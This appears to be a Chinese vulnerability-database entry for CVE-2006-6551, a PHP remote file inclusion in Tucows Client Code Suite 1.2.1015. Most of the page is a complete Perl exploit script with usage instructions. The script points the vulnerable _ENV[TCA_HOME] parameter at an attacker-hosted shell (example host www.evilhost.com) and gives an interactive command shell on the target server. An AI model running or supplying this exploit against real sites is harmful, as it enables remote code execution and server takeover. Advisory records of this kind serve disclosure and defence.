Tucows Client Code Suite 'domainutils.inc.php'PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111734 漏洞类型 未知
发布时间 2006-12-08 更新时间 2006-12-14
CVE编号 CVE-2006-6551 CNNVD-ID CNNVD-200612-310
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2896
https://www.securityfocus.com/bid/87274
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-310
|漏洞详情
TucowsClientCodeSuite(CCS)1.2.1015及早期版本的libs/tucows/api/cartridges/crt_TUCOWS_domains/lib/domainutils.inc.php存在PHP远程文件包含漏洞,远程攻击者可以借助_ENV[TCA_HOME]参数中的URL执行任意PHP代码。
|漏洞EXP
#!/usr/bin/perl
#Tucows Open Project --Remote File Inclusion Vulnerablity
#Bug Found & Exploit [c]oded By Dr Max Virus
#Download:http://developer.tucows.com/code/ccs/downloads/ccs-open-1.2.1015-2006-209-1337.zip


use LWP::UserAgent;

$target=@ARGV[0];
$shellsite=@ARGV[1];
$cmdv=@ARGV[2];

if($target!~/http:\/\// || $shellsite!~/http:\/\// || !$cmdv)
{
       usg()
}
header();


while()
{
print "[Shell] \$";
while (<STDIN>)
{
       $cmd=$_;
       chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req =
HTTP::Request->new(GET=>$target.'/libs/tucows/api/cartridges/crt_TUCOWS_domains/lib/domainutils.inc.php?_ENV[TCA_HOME]='.$shellsite='.?&'.$cmdv.'='.$cmd)or
die "\n\n Failed to Connect, Try again!\n";
$res = $xpl->request($req);
$info = $res->content;
$info =~ tr/[\n]/[ê]/;


if (!$cmd) {
print "\nEnter a Command\n\n"; $info ="";
}


elsif ($info =~/failed to open stream: HTTP request failed!/ || $info =~/:
Cannot execute a blank command in <b>/)
{
print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";
exit;
}


elsif ($info =~/^<br.\/>.<b>Warning/) {
print "\nInvalid Command\n\n";
};


if($info =~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
{
$final = $1;
$final=~ tr/[ê]/[\n]/;
print "\n$final\n";
last;
}

else {
print "[shell] \$";
}
}
}
last;



sub header()
{
print q{
*******************************************************************************
Tucows open Project  -- Remote Include Exploit

Vulnerablity found by: Dr Max Virus

Exploit [c]oded by: Dr Max Virus
******************************************************************************
}
}
sub usg()
{
header();
print q{
Usage: perl exploit.pl [tucows fullpath] [Shell Location] [Shell Cmd]
[tucows FULL PATH] - Path to site exp. www.site.com
[shell Location] - Path to shell exp. www.evilhost.com/shell.txt
[shell Cmd Variable] - Command variable for php shell
Example: perl exploit.pl http://www.site.com/[tucows]/
********************************************************************************
};

exit();
}

# milw0rm.com [2006-12-08]
|受影响的产品
Tucows Client Code Suite 1.2.1015
|参考资料

来源:XF
名称:tucows-domainutils-file-include(30789)
链接:http://xforce.iss.net/xforce/xfdb/30789
来源:MILW0RM
名称:2896
链接:http://www.milw0rm.com/exploits/2896
来源:MILW0RM
名称:2896
链接:http://milw0rm.com/exploits/2896